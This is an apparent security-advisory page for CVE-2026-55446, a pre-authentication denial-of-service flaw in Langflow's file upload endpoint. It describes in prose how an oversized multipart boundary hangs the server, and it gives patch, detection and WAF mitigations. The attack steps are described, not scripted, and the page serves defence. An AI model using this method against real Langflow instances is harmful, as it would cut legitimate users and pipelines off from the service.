CVE-2026-55446: Langflow pre-auth DoS

CISO Take

Langflow versions before 1.0.19 expose a file upload endpoint that processes multipart form data before enforcing any authentication, allowing a single unauthenticated HTTP POST with an oversized boundary string to permanently hang the server for all users. The attack requires zero credentials and zero knowledge of valid flow IDs — the PoC is embedded in the public security advisory, making mass exploitation trivially automatable with a single Python script. Langflow carries 53 prior CVEs and a 77/100 package risk score, signaling chronic security debt in a package with significant AI production adoption. Upgrade to 1.0.19 immediately, or block /api/v1/files/upload/ at your WAF or reverse proxy until patching is complete.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

CVSS 7.5 High with a fully network-accessible, zero-authentication, zero-interaction attack vector (AV:N/AC:L/PR:N/UI:N/A:H). The vulnerability is pre-auth, requires a single malformed HTTP request, and has a public PoC — placing real-world exploit time at near-zero for any attacker with basic scripting ability. Availability impact is complete and persistent: the server hangs indefinitely until restarted, and an attacker can re-trigger immediately upon recovery. While confidentiality and integrity are not directly compromised, DoS of an LLM workflow orchestrator cascades to production AI pipelines, agent automations, and any upstream services depending on the Langflow API. The 53 CVE history elevates organizational risk for adopters beyond this single issue.

How does the attack unfold?

Target Discovery

Adversary identifies a publicly accessible Langflow instance via internet scanning (Shodan, Censys) or OSINT on the target organization's AI development stack.

AML.T0006

Unauthenticated Request Craft

Adversary crafts a single HTTP POST to /api/v1/files/upload/{any-value} with a multipart Content-Type boundary string padded with 1,000,000+ hyphens, requiring no credentials or valid flow ID.

AML.T0049

Resource Exhaustion

Langflow's multipart parser consumes all available CPU and memory attempting to process the malformed boundary before any authentication check executes, blocking the server worker indefinitely.

AML.T0034.001

Persistent Service Denial

The Langflow service becomes unavailable for all users and automated pipeline callers; the attacker re-sends on any recovery, maintaining a persistent DoS against all LLM workflows and agent pipelines dependent on the instance.

AML.T0029

Target Discovery

Adversary identifies a publicly accessible Langflow instance via internet scanning (Shodan, Censys) or OSINT on the target organization's AI development stack.

AML.T0006

Unauthenticated Request Craft

Adversary crafts a single HTTP POST to /api/v1/files/upload/{any-value} with a multipart Content-Type boundary string padded with 1,000,000+ hyphens, requiring no credentials or valid flow ID.

AML.T0049

Resource Exhaustion

Langflow's multipart parser consumes all available CPU and memory attempting to process the malformed boundary before any authentication check executes, blocking the server worker indefinitely.

AML.T0034.001

Persistent Service Denial

The Langflow service becomes unavailable for all users and automated pipeline callers; the attacker re-sends on any recovery, maintaining a persistent DoS against all LLM workflows and agent pipelines dependent on the instance.

AML.T0029

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Langflow	pip	< 1.0.19	`1.0.19`
152.7K Pushed 6d ago 26% patched ~70d to patch Full package profile →

Do you use Langflow? You're affected.

How severe is it?

CVSS 3.1

7.5 / 10

EPSS

0.3%

chance of exploitation in 30 days

Higher than 27% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI None

S Unchanged

C None

I None

A High

What should I do?

4 steps

PATCH

Upgrade the langflow pip package to >=1.0.19. The fix introduces a check_boundary HTTP middleware that validates the multipart boundary against ^[\w\-]{1,70}$ and rejects malformed requests with HTTP 422 before body parsing; the upload endpoint also now enforces authentication and flow-ownership (get_current_active_user + 403 on mismatch).
DETECT

Alert on POST /api/v1/files/upload/ requests from unauthenticated sources with Content-Length >1MB or boundary strings exceeding 70 characters in server access logs.
WORKAROUND

If immediate patching is not possible, block or rate-limit /api/v1/files/upload/ at the reverse proxy or WAF layer and enforce a request body size cap (e.g., 10MB in nginx/Caddy) to bound hang duration.
NETWORK

Ensure Langflow is never directly internet-exposed; place behind an authentication proxy or VPN for all internal deployments.

What does CISA's SSVC say?

Decision Track*

Exploitation poc

Automatable Yes

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

DoS Auth Bypass Framework AML.T0029 - Denial of AI Service AML.T0034.001 - Resource-Intensive Queries AML.T0049 - Exploit Public-Facing Application

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Art. 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.9.3 - AI system security

NIST AI RMF

MANAGE 2.2 - Mechanisms to sustain treatment of AI risk

OWASP LLM Top 10

LLM10:2025 - Unbounded Consumption

Frequently Asked Questions

What is CVE-2026-55446?

Langflow versions before 1.0.19 expose a file upload endpoint that processes multipart form data before enforcing any authentication, allowing a single unauthenticated HTTP POST with an oversized boundary string to permanently hang the server for all users. The attack requires zero credentials and zero knowledge of valid flow IDs — the PoC is embedded in the public security advisory, making mass exploitation trivially automatable with a single Python script. Langflow carries 53 prior CVEs and a 77/100 package risk score, signaling chronic security debt in a package with significant AI production adoption. Upgrade to 1.0.19 immediately, or block /api/v1/files/upload/ at your WAF or reverse proxy until patching is complete.

Is CVE-2026-55446 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-55446, increasing the risk of exploitation.

How to fix CVE-2026-55446?

1. PATCH: Upgrade the langflow pip package to >=1.0.19. The fix introduces a check_boundary HTTP middleware that validates the multipart boundary against ^[\w\-]{1,70}$ and rejects malformed requests with HTTP 422 before body parsing; the upload endpoint also now enforces authentication and flow-ownership (get_current_active_user + 403 on mismatch). 2. DETECT: Alert on POST /api/v1/files/upload/ requests from unauthenticated sources with Content-Length >1MB or boundary strings exceeding 70 characters in server access logs. 3. WORKAROUND: If immediate patching is not possible, block or rate-limit /api/v1/files/upload/ at the reverse proxy or WAF layer and enforce a request body size cap (e.g., 10MB in nginx/Caddy) to bound hang duration. 4. NETWORK: Ensure Langflow is never directly internet-exposed; place behind an authentication proxy or VPN for all internal deployments.

What systems are affected by CVE-2026-55446?

This vulnerability affects the following AI/ML architecture patterns: LLM workflow platforms, agent frameworks, RAG pipelines, model serving.

What is the CVSS score for CVE-2026-55446?

CVE-2026-55446 has a CVSS v3.1 base score of 7.5 (HIGH). The EPSS exploitation probability is 0.35%.

What is the AI security impact?

Affected AI Architectures

LLM workflow platformsagent frameworksRAG pipelinesmodel serving

MITRE ATLAS Techniques

AML.T0029 Denial of AI Service

AML.T0034.001 Resource-Intensive Queries

AML.T0049 Exploit Public-Facing Application

Compliance Controls Affected

EU AI Act: Art. 15

ISO 42001: A.9.3

NIST AI RMF: MANAGE 2.2

OWASP LLM Top 10: LLM10:2025

What are the technical details?

Original Advisory

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.0.19, an attacker can send a /api/v1/files/upload/ request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time. This vulnerability is fixed in 1.0.19.

Exploitation Scenario

An adversary targeting an organization's AI automation stack identifies a publicly exposed Langflow instance via Shodan or OSINT on the company's technology footprint. Without any credentials or knowledge of valid flow IDs, the attacker sends a single HTTP POST to /api/v1/files/upload/test with a multipart Content-Type boundary followed by 1,000,000 hyphens. The Langflow web server worker blocks indefinitely attempting to parse the malformed body before any auth check executes, rendering the entire service unavailable. The attacker scripts a loop to re-send on any service recovery — effectively maintaining a persistent DoS against all LLM workflows, RAG pipelines, and agentic automations running on the instance with minimal infrastructure cost and zero attribution risk.

Weaknesses (CWE)

CWE-400 Uncontrolled Resource Consumption Primary CWE-400 Uncontrolled Resource Consumption Primary CWE-400 Uncontrolled Resource Consumption

CWE-400 — Uncontrolled Resource Consumption: The product does not properly control the allocation and maintenance of a limited resource.

[Architecture and Design] Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
[Architecture and Design] Mitigation of resource exhaustion attacks requires that the target system either: The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker. recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.

Source: MITRE CWE corpus.